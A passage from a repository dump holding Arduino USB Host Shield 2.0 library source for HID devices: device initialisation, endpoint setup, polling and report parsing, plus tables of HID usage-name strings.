medInstrTitles0[];\n        static const char * const medInstrTitles1[];\n        static const char * const medInstrTitles2[];\n        static const char * const medInstrTitles3[];\n        static const char * const medInstrTitles4[];\n\nprotected:\n        static UsagePageFunc usagePageFunctions[];\n\n        MultiValueBuffer theBuffer;\n        MultiByteValueParser valParser;\n        ByteSkipper theSkipper;\n        uint8_t varBuffer[sizeof (USB_CONFIGURATION_DESCRIPTOR)];\n\n        uint8_t itemParseState; // Item parser state variable\n        uint8_t itemSize; // Item size\n        uint8_t itemPrefix; // Item prefix (first byte)\n        uint8_t rptSize; // Report Size\n        uint8_t rptCount; // Report Count\n\n        uint16_t totalSize; // Report size in bits\n\n        // Method should be defined here if virtual.\n        virtual uint8_t ParseItem(uint8_t **pp, uint16_t *pcntdn);\n\n        UsagePageFunc pfUsage;\n\n        static void PrintUsagePage(uint16_t page);\n        void SetUsagePage(uint16_t page);\n\npublic:\n\n        ReportDescParserBase() :\n        itemParseState(0),\n        itemSize(0),\n        itemPrefix(0),\n        rptSize(0),\n        rptCount(0),\n        pfUsage(NULL) {\n                theBuffer.pValue = varBuffer;\n                valParser.Initialize(&theBuffer);\n                theSkipper.Initialize(&theBuffer);\n        };\n\n        void Parse(const uint16_t len, const uint8_t *pbuf, const uint16_t &offset);\n\n        enum {\n                enErrorSuccess = 0\n                , enErrorIncomplete // value or record is partialy read in buffer\n                , enErrorBufferTooSmall\n        };\n};\n\nclass ReportDescParser : public ReportDescParserBase {\n};\n\nclass ReportDescParser2 : public ReportDescParserBase {\n        uint8_t rptId; // Report ID\n        uint8_t useMin; // Usage Minimum\n        uint8_t useMax; // Usage Maximum\n        uint8_t fieldCount; // Number of field being currently processed\n\n        void OnInputItem(uint8_t itm); // Method which is called every time Input item is found\n\n        uint8_t *pBuf; // Report buffer pointer\n        uint8_t bLen; // Report length\n\nprotected:\n        // Method should be defined here if virtual.\n        virtual uint8_t ParseItem(uint8_t **pp, uint16_t *pcntdn);\n\npublic:\n\n        ReportDescParser2(uint16_t len, uint8_t *pbuf) :\n        ReportDescParserBase(), rptId(0), useMin(0), useMax(0), fieldCount(0), pBuf(pbuf), bLen(len) {\n        };\n};\n\nclass UniversalReportParser : public HIDReportParser {\npublic:\n        // Method should be defined here if virtual.\n        virtual void Parse(USBHID *hid, bool is_rpt_id, uint8_t len, uint8_t *buf);\n};\n\n#endif // __HIDDESCRIPTORPARSER_H__\n"
  },
  {
    "path": "libraries/USB_Host_Shield_2.0/hiduniversal.cpp",
    "content": "/* Copyright (C) 2011 Circuits At Home, LTD. All rights reserved.\n\nThis software may be distributed and modified under the terms of the GNU\nGeneral Public License version 2 (GPL2) as published by the Free Software\nFoundation and appearing in the file GPL2.TXT included in the packaging of\nthis file. Please note that GPL2 Section 2[b] requires that all works based\non this software must also be made publicly available under the terms of\nthe GPL2 (\"Copyleft\").\n\nContact information\n-------------------\n\nCircuits At Home, LTD\nWeb      :  http://www.circuitsathome.com\ne-mail   :  support@circuitsathome.com\n */\n\n#include \"hiduniversal.h\"\n\nHIDUniversal::HIDUniversal(USB *p) :\nUSBHID(p),\nqNextPollTime(0),\npollInterval(0),\nbPollEnable(false),\nbHasReportId(false) {\n        Initialize();\n\n        if(pUsb)\n                pUsb->RegisterDeviceClass(this);\n}\n\nuint16_t HIDUniversal::GetHidClassDescrLen(uint8_t type, uint8_t num) {\n        for(uint8_t i = 0, n = 0; i < HID_MAX_HID_CLASS_DESCRIPTORS; i++) {\n                if(descrInfo[i].bDescrType == type) {\n                        if(n == num)\n                                return descrInfo[i].wDescriptorLength;\n                        n++;\n                }\n        }\n        return 0;\n}\n\nvoid HIDUniversal::Initialize() {\n        for(uint8_t i = 0; i < MAX_REPORT_PARSERS; i++) {\n                rptParsers[i].rptId = 0;\n                rptParsers[i].rptParser = NULL;\n        }\n        for(uint8_t i = 0; i < HID_MAX_HID_CLASS_DESCRIPTORS; i++) {\n                descrInfo[i].bDescrType = 0;\n                descrInfo[i].wDescriptorLength = 0;\n        }\n        for(uint8_t i = 0; i < maxHidInterfaces; i++) {\n                hidInterfaces[i].bmInterface = 0;\n                hidInterfaces[i].bmProtocol = 0;\n\n                for(uint8_t j = 0; j < maxEpPerInterface; j++)\n                        hidInterfaces[i].epIndex[j] = 0;\n        }\n        for(uint8_t i = 0; i < totalEndpoints; i++) {\n                epInfo[i].epAddr = 0;\n                epInfo[i].maxPktSize = (i) ? 0 : 8;\n                epInfo[i].bmSndToggle = 0;\n                epInfo[i].bmRcvToggle = 0;\n                epInfo[i].bmNakPower = (i) ? USB_NAK_NOWAIT : USB_NAK_MAX_POWER;\n        }\n        bNumEP = 1;\n        bNumIface = 0;\n        bConfNum = 0;\n        pollInterval = 0;\n\n        ZeroMemory(constBuffLen, prevBuf);\n}\n\nbool HIDUniversal::SetReportParser(uint8_t id, HIDReportParser *prs) {\n        for(uint8_t i = 0; i < MAX_REPORT_PARSERS; i++) {\n                if(rptParsers[i].rptId == 0 && rptParsers[i].rptParser == NULL) {\n                        rptParsers[i].rptId = id;\n                        rptParsers[i].rptParser = prs;\n                        return true;\n                }\n        }\n        return false;\n}\n\nHIDReportParser* HIDUniversal::GetReportParser(uint8_t id) {\n        if(!bHasReportId)\n                return ((rptParsers[0].rptParser) ? rptParsers[0].rptParser : NULL);\n\n        for(uint8_t i = 0; i < MAX_REPORT_PARSERS; i++) {\n                if(rptParsers[i].rptId == id)\n                        return rptParsers[i].rptParser;\n        }\n        return NULL;\n}\n\nuint8_t HIDUniversal::Init(uint8_t parent, uint8_t port, bool lowspeed) {\n        const uint8_t constBufSize = sizeof (USB_DEVICE_DESCRIPTOR);\n\n        uint8_t buf[constBufSize];\n        USB_DEVICE_DESCRIPTOR * udd = reinterpret_cast<USB_DEVICE_DESCRIPTOR*>(buf);\n        uint8_t rcode;\n        UsbDevice *p = NULL;\n        EpInfo *oldep_ptr = NULL;\n        uint8_t len = 0;\n\n        uint8_t num_of_conf; // number of configurations\n        //uint8_t num_of_intf; // number of interfaces\n\n        AddressPool &addrPool = pUsb->GetAddressPool();\n\n        USBTRACE(\"HU Init\\r\\n\");\n\n        if(bAddress)\n                return USB_ERROR_CLASS_INSTANCE_ALREADY_IN_USE;\n\n        // Get pointer to pseudo device with address 0 assigned\n        p = addrPool.GetUsbDevicePtr(0);\n\n        if(!p)\n                return USB_ERROR_ADDRESS_NOT_FOUND_IN_POOL;\n\n        if(!p->epinfo) {\n                USBTRACE(\"epinfo\\r\\n\");\n                return USB_ERROR_EPINFO_IS_NULL;\n        }\n\n        // Save old pointer to EP_RECORD of address 0\n        oldep_ptr = p->epinfo;\n\n        // Temporary assign new pointer to epInfo to p->epinfo in order to avoid toggle inconsistence\n        p->epinfo = epInfo;\n\n        p->lowspeed = lowspeed;\n\n        // Get device descriptor\n        rcode = pUsb->getDevDescr(0, 0, 8, (uint8_t*)buf);\n\n        if(!rcode)\n                len = (buf[0] > constBufSize) ? constBufSize : buf[0];\n\n        if(rcode) {\n                // Restore p->epinfo\n                p->epinfo = oldep_ptr;\n\n                goto FailGetDevDescr;\n        }\n\n        // Restore p->epinfo\n        p->epinfo = oldep_ptr;\n\n        // Allocate new address according to device class\n        bAddress = addrPool.AllocAddress(parent, false, port);\n\n        if(!bAddress)\n                return USB_ERROR_OUT_OF_ADDRESS_SPACE_IN_POOL;\n\n        // Extract Max Packet Size from the device descriptor\n        epInfo[0].maxPktSize = udd->bMaxPacketSize0;\n\n        // Assign new address to the device\n        rcode = pUsb->setAddr(0, 0, bAddress);\n\n        if(rcode) {\n                p->lowspeed = false;\n                addrPool.FreeAddress(bAddress);\n                bAddress = 0;\n                USBTRACE2(\"setAddr:\", rcode);\n                return rcode;\n        }\n\n        //delay(2); //per USB 2.0 sect.9.2.6.3\n\n        USBTRACE2(\"Addr:\", bAddress);\n\n        p->lowspeed = false;\n\n        p = addrPool.GetUsbDevicePtr(bAddress);\n\n        if(!p)\n                return USB_ERROR_ADDRESS_NOT_FOUND_IN_POOL;\n\n        p->lowspeed = lowspeed;\n\n        if(len)\n                rcode = pUsb->getDevDescr(bAddress, 0, len, (uint8_t*)buf);\n\n        if(rcode)\n                goto FailGetDevDescr;\n\n        VID = udd->idVendor; // Can be used by classes that inherits this class to check the VID and PID of the connected device\n        PID = udd->idProduct;\n\n        num_of_conf = udd->bNumConfigurations;\n\n        // Assign epInfo to epinfo pointer\n        rcode = pUsb->setEpInfoEntry(bAddress, 1, epInfo);\n\n        if(rcode)\n                goto FailSetDevTblEntry;\n\n        USBTRACE2(\"NC:\", num_of_conf);\n\n        for(uint8_t i = 0; i < num_of_conf; i++) {\n                //HexDumper<USBReadParser, uint16_t, uint16_t> HexDump;\n                ConfigDescParser<USB_CLASS_HID, 0, 0,\n                        CP_MASK_COMPARE_CLASS> confDescrParser(this);\n\n                //rcode = pUsb->getConfDescr(bAddress, 0, i, &HexDump);\n                rcode = pUsb->getConfDescr(bAddress, 0, i, &confDescrParser);\n\n                if(rcode)\n                        goto FailGetConfDescr;\n\n                if(bNumEP > 1)\n                        break;\n        } // for\n\n        if(bNumEP < 2)\n                return USB_DEV_CONFIG_ERROR_DEVICE_NOT_SUPPORTED;\n\n        // Assign epInfo to epinfo pointer\n        rcode = pUsb->setEpInfoEntry(bAddress, bNumEP, epInfo);\n\n        USBTRACE2(\"Cnf:\", bConfNum);\n\n        // Set Configuration Value\n        rcode = pUsb->setConf(bAddress, 0, bConfNum);\n\n        if(rcode)\n                goto FailSetConfDescr;\n\n        for(uint8_t i = 0; i < bNumIface; i++) {\n                if(hidInterfaces[i].epIndex[epInterruptInIndex] == 0)\n                        continue;\n\n                rcode = SetIdle(hidInterfaces[i].bmInterface, 0, 0);\n\n                if(rcode && rcode != hrSTALL)\n                        goto FailSetIdle;\n        }\n\n        USBTRACE(\"HU configured\\r\\n\");\n\n        OnInitSuccessful();\n\n        bPollEnable = true;\n        return 0;\n\nFailGetDevDescr:\n#ifdef DEBUG_USB_HOST\n        NotifyFailGetDevDescr();\n        goto Fail;\n#endif\n\nFailSetDevTblEntry:\n#ifdef DEBUG_USB_HOST\n        NotifyFailSetDevTblEntry();\n        goto Fail;\n#endif\n\nFailGetConfDescr:\n#ifdef DEBUG_USB_HOST\n        NotifyFailGetConfDescr();\n        goto Fail;\n#endif\n\nFailSetConfDescr:\n#ifdef DEBUG_USB_HOST\n        NotifyFailSetConfDescr();\n        goto Fail;\n#endif\n\n\nFailSetIdle:\n#ifdef DEBUG_USB_HOST\n        USBTRACE(\"SetIdle:\");\n#endif\n\n#ifdef DEBUG_USB_HOST\nFail:\n        NotifyFail(rcode);\n#endif\n        Release();\n        return rcode;\n}\n\nHIDUniversal::HIDInterface* HIDUniversal::FindInterface(uint8_t iface, uint8_t alt, uint8_t proto) {\n        for(uint8_t i = 0; i < bNumIface && i < maxHidInterfaces; i++)\n                if(hidInterfaces[i].bmInterface == iface && hidInterfaces[i].bmAltSet == alt\n                        && hidInterfaces[i].bmProtocol == proto)\n                        return hidInterfaces + i;\n        return NULL;\n}\n\nvoid HIDUniversal::EndpointXtract(uint8_t conf, uint8_t iface, uint8_t alt, uint8_t proto, const USB_ENDPOINT_DESCRIPTOR *pep) {\n        // If the first configuration satisfies, the others are not concidered.\n        if(bNumEP > 1 && conf != bConfNum)\n                return;\n\n        //ErrorMessage<uint8_t>(PSTR(\"\\r\\nConf.Val\"), conf);\n        //ErrorMessage<uint8_t>(PSTR(\"Iface Num\"), iface);\n        //ErrorMessage<uint8_t>(PSTR(\"Alt.Set\"), alt);\n\n        bConfNum = conf;\n\n        uint8_t index = 0;\n        HIDInterface *piface = FindInterface(iface, alt, proto);\n\n        // Fill in interface structure in case of new interface\n        if(!piface) {\n                piface = hidInterfaces + bNumIface;\n                piface->bmInterface = iface;\n                piface->bmAltSet = alt;\n                piface->bmProtocol = proto;\n                bNumIface++;\n        }\n\n        if((pep->bmAttributes & bmUSB_TRANSFER_TYPE) == USB_TRANSFER_TYPE_INTERRUPT)\n                index = (pep->bEndpointAddress & 0x80) == 0x80 ? epInterruptInIndex : epInterruptOutIndex;\n\n        if(index) {\n                // Fill in the endpoint info structure\n                epInfo[bNumEP].epAddr = (pep->bEndpointAddress & 0x0F);\n                epInfo[bNumEP].maxPktSize = (uint8_t)pep->wMaxPacketSize;\n                epInfo[bNumEP].bmSndToggle = 0;\n                epInfo[bNumEP].bmRcvToggle = 0;\n                epInfo[bNumEP].bmNakPower = USB_NAK_NOWAIT;\n\n                // Fill in the endpoint index list\n                piface->epIndex[index] = bNumEP; //(pep->bEndpointAddress & 0x0F);\n\n                if(pollInterval < pep->bInterval) // Set the polling interval as the largest polling interval obtained from endpoints\n                        pollInterval = pep->bInterval;\n\n                bNumEP++;\n        }\n        //PrintEndpointDescriptor(pep);\n}\n\nuint8_t HIDUniversal::Release() {\n        pUsb->GetAddressPool().FreeAddress(bAddress);\n\n        bNumEP = 1;\n        bAddress = 0;\n        qNextPollTime = 0;\n        bPollEnable = false;\n        return 0;\n}\n\nbool HIDUniversal::BuffersIdentical(uint8_t len, uint8_t *buf1, uint8_t *buf2) {\n        for(uint8_t i = 0; i < len; i++)\n                if(buf1[i] != buf2[i])\n                        return false;\n        return true;\n}\n\nvoid HIDUniversal::ZeroMemory(uint8_t len, uint8_t *buf) {\n        for(uint8_t i = 0; i < len; i++)\n                buf[i] = 0;\n}\n\nvoid HIDUniversal::SaveBuffer(uint8_t len, uint8_t *src, uint8_t *dest) {\n        for(uint8_t i = 0; i < len; i++)\n                dest[i] = src[i];\n}\n\nuint8_t HIDUniversal::Poll() {\n        uint8_t rcode = 0;\n\n        if(!bPollEnable)\n                return 0;\n\n        if((int32_t)((uint32_t)millis() - qNextPollTime) >= 0L) {\n                qNextPollTime = (uint32_t)millis() + pollInterval;\n\n                uint8_t buf[constBuffLen];\n\n                for(uint8_t i = 0; i < bNumIface; i++) {\n                        uint8_t index = hidInterfaces[i].epIndex[epInterruptInIndex];\n                        uint16_t read = (uint16_t)epInfo[index].maxPktSize;\n\n                        ZeroMemory(constBuffLen, buf);\n\n                        uint8_t rcode = pUsb->inTransfer(bAddress, epInfo[index].epAddr, &read, buf);\n\n                        if(rcode) {\n                                if(rcode != hrNAK)\n                                        USBTRACE3(\"(hiduniversal.h) Poll:\", rcode, 0x81);\n                                return rcode;\n                        }\n\n                        if(read > constBuffLen)\n                                read = constBuffLen;\n\n                        bool identical = BuffersIdentical(read, buf, prevBuf);\n\n                        SaveBuffer(read, buf, prevBuf);\n\n                        if(identical)\n                                return 0;\n#if 0\n                        Notify(PSTR(\"\\r\\nBuf: \"), 0x80);\n\n                        for(uint8_t i = 0; i < read; i++) {\n                                D_PrintHex<uint8_t > (buf[i], 0x80);\n                                Notify(PSTR(\" \"), 0x80);\n                        }\n\n                        Notify(PSTR(\"\\r\\n\"), 0x80);\n#endif\n                        ParseHIDData(this, bHasReportId, (uint8_t)read, buf);\n\n                        HIDReportParser *prs = GetReportParser(((bHasReportId) ? *buf : 0));\n\n                        if(prs)\n                                prs->Parse(this, bHasReportId, (uint8_t)read, buf);\n                }\n        }\n        return rcode;\n}\n\n// Send a report to interrupt out endpoint. This is NOT SetReport() request!\nuint8_t HIDUniversal::SndRpt(uint16_t nbytes, uint8_t *dataptr) {\n        return pUsb->outTransfer(bAddress, epInfo[epInterruptOutIndex].epAddr, nbytes, dataptr);\n}\n"
  },
  {
    "path": "libraries/USB_Host_Shield_2.0/hiduniversal.h",
    "content": "/* Copyright (C) 2011 Circuits At Home, LTD. All rights reserved.\n\nThis software may be distributed and modified under the terms of the GNU\nGeneral Public License version 2 (GPL2) as published by the Free Software\nFoundation and appearing in the file GPL2.TXT included in the packaging of\nthis file. Please note that GPL2 Section 2[b] requires that all works based\non this software must also be made publicly available under the terms of\nthe GPL2 (\"Copyleft\").\n\nContact information\n-------------------\n\nCircuits At Home, LTD\nWeb      :  http://www.circuitsathome.com\ne-mail   :  support@circuitsathome.com\n */\n\n#if !defined(__HIDUNIVERSAL_H__)\n#define __HIDUNIVERSAL_H__\n\n#include \"usbhid.h\"\n//#include \"hidescriptorparser.h\"\n\nclass HIDUniversal : public USBHID {\n\n        struct ReportParser {\n                uint8_t rptId;\n                HIDReportParser *rptParser;\n        } rptParsers[MAX_REPORT_PARSERS];\n\n        // HID class specific descriptor type and length info obtained from HID descriptor\n        HID_CLASS_DESCRIPTOR_LEN_AND_TYPE descrInfo[HID_MAX_HID_CLASS_DESCRIPTORS];\n\n        // Returns HID class specific descriptor length by its type and order number\n        uint16_t GetHidClassDescrLen(uint8_t type, uint8_t num);\n\n        struct HIDInterface {\n                struct {\n                        uint8_t bmInterface : 3;\n                        uint8_t bmAltSet : 3;\n                        uint8_t bmProtocol : 2;\n                };\n                uint8_t epIndex[maxEpPerInterface];\n        };\n\n        uint8_t bConfNum; // configuration number\n        uint8_t bNumIface; // number of interfaces in the configuration\n        uint8_t bNumEP; // total number of EP in the configuration\n        uint32_t qNextPollTime; // next poll time\n        uint8_t pollInterval;\n        bool bPollEnable; // poll enable flag\n\n        static const uint16_t constBuffLen = 64; // event buffer length\n        uint8_t prevBuf[constBuffLen]; // previous event buffer\n\n        void Initialize();\n        HIDInterface* FindInterface(uint8_t iface, uint8_t alt, uint8_t proto);\n\n        void ZeroMemory(uint8_t len, uint8_t *buf);\n        bool BuffersIdentical(uint8_t len, uint8_t *buf1, uint8_t *buf2);\n        void SaveBuffer(uint8_t len, uint8_t *src, uint8_t *dest);\n\nprotected:\n        EpInfo epInfo[totalEndpoints];\n        HIDInterface hidInterfaces[maxHidInterfaces];\n\n        bool bHasReportId;\n\n        uint16_t PID, VID; // PID and VID of connected device\n\n        // HID implementation\n        HIDReportParser* GetReportParser(uint8_t id);\n\n        virtual uint8_t OnInitSuccessful() {\n                return 0;\n        };\n\n        virtual void ParseHIDData(USBHID *hid __attribute__((unused)), bool is_rpt_id __attribute__((unused)), uint8_t len __attribute__((unused)), uint8_t *buf __attribute__((unused))) {\n                return;\n        };\n\npublic:\n        HIDUniversal(USB *p);\n\n        // HID implementation\n        bool SetReportParser(uint8_t id, HIDReportParser *prs);\n\n        // USBDeviceConfig implementation\n        uint8_t Init(uint8_t parent, uint8_t port, bool lowspeed);\n        uint8_t Release();\n        uint8_t Poll();\n\n        virtual uint8_t GetAddress() {\n                return bAddress;\n        };\n\n        virtual bool isReady() {\n                return bPollEnable;\n        };\n\n        // UsbConfigXtracter implementation\n        void EndpointXtract(uint8_t conf, uint8_t iface, uint8_t alt, uint8_t proto, const USB_ENDPOINT_DESCRIPTOR *ep);\n\n        // Send report - do not mix with SetReport()!\n        uint8_t SndRpt(uint16_t nbytes, uint8_t *dataptr);\n};\n\n#endif // __HIDUNIVERSAL_H__\n"
  },
  {
    "path": "libraries/USB_Host_Shield_2.0/hidusagestr.h",
    "content": "/* Copyright (C) 2011 Circuits At Home, LTD. All rights reserved.\n\nThis software may be distributed and modified under the terms of the GNU\nGeneral Public License version 2 (GPL2) as published by the Free Software\nFoundation and appearing in the file GPL2.TXT included in the packaging of\nthis file. Please note that GPL2 Section 2[b] requires that all works based\non this software must also be made publicly available under the terms of\nthe GPL2 (\"Copyleft\").\n\nContact information\n-------------------\n\nCircuits At Home, LTD\nWeb      :  http://www.circuitsathome.com\ne-mail   :  support@circuitsathome.com\n */\n#if !defined( __HIDUSAGESTR_H__)\n#define  __HIDUSAGESTR_H__\n\n#include \"Usb.h\"\n\nconst char pstrSpace [] PROGMEM = \" \";\nconst char pstrCRLF [] PROGMEM = \"\\r\\n\";\nconst char pstrSingleTab [] PROGMEM = \"\\t\";\nconst char pstrDoubleTab [] PROGMEM = \"\\t\\t\";\nconst char pstrTripleTab [] PROGMEM = \"\\t\\t\\t\";\n\n// Usage Page String Titles\nconst char pstrUsagePageUndefined [] PROGMEM = \"Undef\";\nconst char pstrUsagePageGenericDesktopControls [] PROGMEM = \"Gen Desktop Ctrls\";\nconst char pstrUsagePageSimulationControls [] PROGMEM = \"Simu Ctrls\";\nconst char pstrUsagePageVRControls [] PROGMEM = \"VR Ctrls\";\nconst char pstrUsagePageSportControls [] PROGMEM = \"Sport Ctrls\";\nconst char pstrUsagePageGameControls [] PROGMEM = \"Game Ctrls\";\nconst char pstrUsagePageGenericDeviceControls [] PROGMEM = \"Gen Dev Ctrls\";\nconst char pstrUsagePageKeyboardKeypad [] PROGMEM = \"Kbrd/Keypad\";\nconst char pstrUsagePageLEDs [] PROGMEM = \"LEDs\";\nconst char pstrUsagePageButton [] PROGMEM = \"Button\";\nconst char pstrUsagePageOrdinal [] PROGMEM = \"Ordinal\";\nconst char pstrUsagePageTelephone [] PROGMEM = \"Tel\";\nconst char pstrUsagePageConsumer [] PROGMEM = \"Consumer\";\nconst char pstrUsagePageDigitizer [] PROGMEM = \"Digitizer\";\nconst char pstrUsagePagePID [] PROGMEM = \"PID\";\nconst char pstrUsagePageUnicode [] PROGMEM = \"Unicode\";\nconst char pstrUsagePageAlphaNumericDisplay [] PROGMEM = \"Alpha Num Disp\";\nconst char pstrUsagePageMedicalInstruments [] PROGMEM = \"Medical Instr\";\nconst char pstrUsagePageMonitor [] PROGMEM = \"Monitor\";\nconst char pstrUsagePagePower [] PROGMEM = \"Power\";\nconst char pstrUsagePageBarCodeScanner [] PROGMEM = \"Bar Code Scan\";\nconst char pstrUsagePageScale [] PROGMEM = \"Scale\";\nconst char pstrUsagePageMSRDevices [] PROGMEM = \"Magn Stripe Read Dev\";\nconst char pstrUsagePagePointOfSale [] PROGMEM = \"POS\";\nconst char pstrUsagePageCameraControl [] PROGMEM = \"Cam Ctrl\";\nconst char pstrUsagePageArcade [] PROGMEM = \"Arcade\";\nconst char pstrUsagePageReserved [] PROGMEM = \"Reserved\";\nconst char pstrUsagePageVendorDefined [] PROGMEM = \"Vendor Def\";\n\n// Generic Desktop Controls Page\nconst char pstrUsagePointer [] PROGMEM = \"Pointer\";\nconst char pstrUsageMouse [] PROGMEM = \"Mouse\";\nconst char pstrUsageJoystick [] PROGMEM = \"Joystick\";\nconst char pstrUsageGamePad [] PROGMEM = \"Game Pad\";\nconst char pstrUsageKeyboard [] PROGMEM = \"Kbrd\";\nconst char pstrUsageKeypad [] PROGMEM = \"Keypad\";\nconst char pstrUsageMultiAxisController [] PROGMEM = \"Multi-axis Ctrl\";\nconst char pstrUsageTabletPCSystemControls [] PROGMEM = \"Tablet PC Sys Ctrls\";\nconst char pstrUsageX [] PROGMEM = \"X\";\nconst char pstrUsageY [] PROGMEM = \"Y\";\nconst char pstrUsageZ [] PROGMEM = \"Z\";\nconst char pstrUsageRx [] PROGMEM = \"Rx\";\nconst char pstrUsageRy [] PROGMEM = \"Ry\";\nconst char pstrUsageRz [] PROGMEM = \"Rz\";\nconst char pstrUsageSlider [] PROGMEM = \"Slider\";\nconst char pstrUsageDial [] PROGMEM = \"Dial\";\nconst char pstrUsageWheel [] PROGMEM = \"Wheel\";\nconst char pstrUsageHatSwitch [] PROGMEM = \"Hat Switch\";\nconst char pstrUsageCountedBuffer [] PROGMEM = \"Counted Buf\";\nconst char pstrUsageByteCount [] PROGMEM = \"Byte Count\";\nconst char pstrUsageMotionWakeup [] PROGMEM = \"Motion Wakeup\";\nconst char pstrUsageStart [] PROGMEM = \"Start\";\nconst char pstrUsageSelect [] PROGMEM = \"Sel\";\nconst char pstrUsageVx [] PROGMEM = \"Vx\";\nconst char pstrUsageVy [] PROGMEM = \"Vy\";\nconst char pstrUsageVz [] PROGMEM = \"Vz\";\nconst char pstrUsageVbrx [] PROGMEM = \"Vbrx\";\nconst char pstrUsageVbry [] PROGMEM = \"Vbry\";\nconst char pstrUsageVbrz [] PROGMEM = \"Vbrz\";\nconst char pstrUsageVno [] PROGMEM = \"Vno\";\nconst char pstrUsageFeatureNotification [] PROGMEM = \"Feature Notif\";\nconst char pstrUsageResolutionMultiplier [] PROGMEM = \"Res Mult\";\nconst char pstrUsageSystemControl [] PROGMEM = \"Sys Ctrl\";\nconst char pstrUsageSystemPowerDown [] PROGMEM = \"Sys Pwr Down\";\nconst char pstrUsageSystemSleep [] PROGMEM = \"Sys Sleep\";\nconst char pstrUsageSystemWakeup [] PROGMEM = \"Sys Wakeup\";\nconst char pstrUsageSystemContextMenu [] PROGMEM = \"Sys Context Menu\";\nconst char pstrUsageSystemMainMenu [] PROGMEM = \"Sys Main Menu\";\nconst char pstrUsageSystemAppMenu [] PROGMEM = \"Sys App Menu\";\nconst char pstrUsageSystemMenuHelp [] PROGMEM = \"Sys Menu Help\";\nconst char pstrUsageSystemMenuExit [] PROGMEM = \"Sys Menu Exit\";\nconst char pstrUsageSystemMenuSelect [] PROGMEM = \"Sys Menu Select\";\nconst char pstrUsageSystemMenuRight [] PROGMEM = \"Sys Menu Right\";\nconst char pstrUsageSystemMenuLeft [] PROGMEM = \"Sys Menu Left\";\nconst char pstrUsageSystemMenuUp [] PROGMEM = \"Sys Menu Up\";\nconst char pstrUsageSystemMenuDown [] PROGMEM = \"Sys Menu Down\";\nconst char pstrUsageSystemColdRestart [] PROGMEM = \"Sys Cold Restart\";\nconst char pstrUsageSystemWarmRestart [] PROGMEM = \"Sys Warm Restart\";\nconst char pstrUsageDPadUp [] PROGMEM = \"D-pad Up\";\nconst char pstrUsageDPadDown [] PROGMEM = \"D-pad Down\";\nconst char pstrUsageDPadRight [] PROGMEM = \"D-pad Right\";\nconst char pstrUsageDPadLeft [] PROGMEM = \"D-pad Left\";\nconst char pstrUsageSystemDock [] PROGMEM = \"Sys Dock\";\nconst char pstrUsageSystemUndock [] PROGMEM = \"Sys Undock\";\nconst char pstrUsageSystemSetup [] PROGMEM = \"Sys Setup\";\nconst char pstrUsageSystemBreak [] PROGMEM = \"Sys Break\";\nconst char pstrUsageSystemDebuggerBreak [] PROGMEM = \"Sys Dbg Brk\";\nconst char pstrUsageApplicationBreak [] PROGMEM = \"App Break\";\nconst char pstrUsageApplicationDebuggerBreak [] PROGMEM = \"App Dbg Brk\";\nconst char pstrUsageSystemSpeakerMute [] PROGMEM = \"Sys Spk Mute\";\nconst char pstrUsageSystemHibernate [] PROGMEM = \"Sys Hiber\";\nconst char pstrUsageSystemDisplayInvert [] PROGMEM = \"Sys Disp Inv\";\nconst char pstrUsageSystemDisplayInternal [] PROGMEM = \"Sys Disp Int\";\nconst char pstrUsageSystemDisplayExternal [] PROGMEM = \"Sys Disp Ext\";\nconst char pstrUsageSystemDisplayBoth [] PROGMEM = \"Sys Disp Both\";\nconst char pstrUsageSystemDisplayDual [] PROGMEM = \"Sys Disp Dual\";\nconst char pstrUsageSystemDisplayToggleIntExt [] PROGMEM = \"Sys Disp Tgl Int/Ext\";\nconst char pstrUsageSystemDisplaySwapPriSec [] PROGMEM = \"Sys Disp Swap Pri/Sec\";\nconst char pstrUsageSystemDisplayLCDAutoscale [] PROGMEM = \"Sys Disp LCD Autoscale\";\n\n// Simulation Controls Page\nconst char pstrUsageFlightSimulationDevice [] PROGMEM = \"Flight Simu Dev\";\nconst char pstrUsageAutomobileSimulationDevice [] PROGMEM = \"Auto Simu Dev\";\nconst char pstrUsageTankSimulationDevice [] PROGMEM = \"Tank Simu Dev\";\nconst char pstrUsageSpaceshipSimulationDevice [] PROGMEM = \"Space Simu Dev\";\nconst char pstrUsageSubmarineSimulationDevice [] PROGMEM = \"Subm Simu Dev\";\nconst char pstrUsageSailingSimulationDevice [] PROGMEM = \"Sail Simu Dev\";\nconst char pstrUsageMotocicleSimulationDevice [] PROGMEM = \"Moto Simu Dev\";\nconst char pstrUsageSportsSimulationDevice [] PROGMEM = \"Sport Simu Dev\";\nconst char pstrUsageAirplaneSimulationDevice [] PROGMEM = \"Airp Simu Dev\";\nconst char pstrUsageHelicopterSimulationDevice [] PROGMEM = \"Heli Simu Dev\";\nconst char pstrUsageMagicCarpetSimulationDevice [] PROGMEM = \"Magic Carpet Simu Dev\";\nconst char pstrUsageBicycleSimulationDevice [] PROGMEM = \"Bike Simu Dev\";\nconst char pstrUsageFlightControlStick [] PROGMEM = \"Flight Ctrl Stick\";\nconst char pstrUsageFlightStick [] PROGMEM = \"Flight Stick\";\nconst char pstrUsageCyclicControl [] PROGMEM = \"Cyclic Ctrl\";\nconst char pstrUsageCyclicTrim [] PROGMEM = \"Cyclic Trim\";\nconst char pstrUsageFlightYoke [] PROGMEM = \"Flight Yoke\";\nconst char pstrUsageTrackControl [] PROGMEM = \"Track Ctrl\";\nconst char pstrUsageAileron [] PROGMEM = \"Aileron\";\nconst char pstrUsageAileronTrim [] PROGMEM = \"Aileron Trim\";\nconst char pstrUsageAntiTorqueControl [] PROGMEM = \"Anti-Torque Ctrl\";\nconst char pstrUsageAutopilotEnable [] PROGMEM = \"Autopilot Enable\";\nconst char pstrUsageChaffRelease [] PROGMEM = \"Chaff Release\";\nconst char pstrUsageCollectiveControl [] PROGMEM = \"Collective Ctrl\";\nconst char pstrUsageDiveBrake [] PROGMEM = \"Dive Brake\";\nconst char pstrUsageElectronicCountermeasures [] PROGMEM = \"El Countermeasures\";\nconst char pstrUsageElevator [] PROGMEM = \"Elevator\";\nconst char pstrUsageElevatorTrim [] PROGMEM = \"Elevator Trim\";\nconst char pstrUsageRudder [] PROGMEM = \"Rudder\";\nconst char pstrUsageThrottle [] PROGMEM = \"Throttle\";\nconst char pstrUsageFlightCommunications [] PROGMEM = \"Flight Comm\";\nconst char pstrUsageFlareRelease [] PROGMEM = \"Flare Release\";\nconst char pstrUsageLandingGear [] PROGMEM = \"Landing Gear\";\nconst char pstrUsageToeBrake [] PROGMEM = \"Toe Brake\";\nconst char pstrUsageTrigger [] PROGMEM = \"Trigger\";\nconst char pstrUsageWeaponsArm [] PROGMEM = \"Weapons Arm\";\nconst char pstrUsageWeaponsSelect [] PROGMEM = \"Weapons 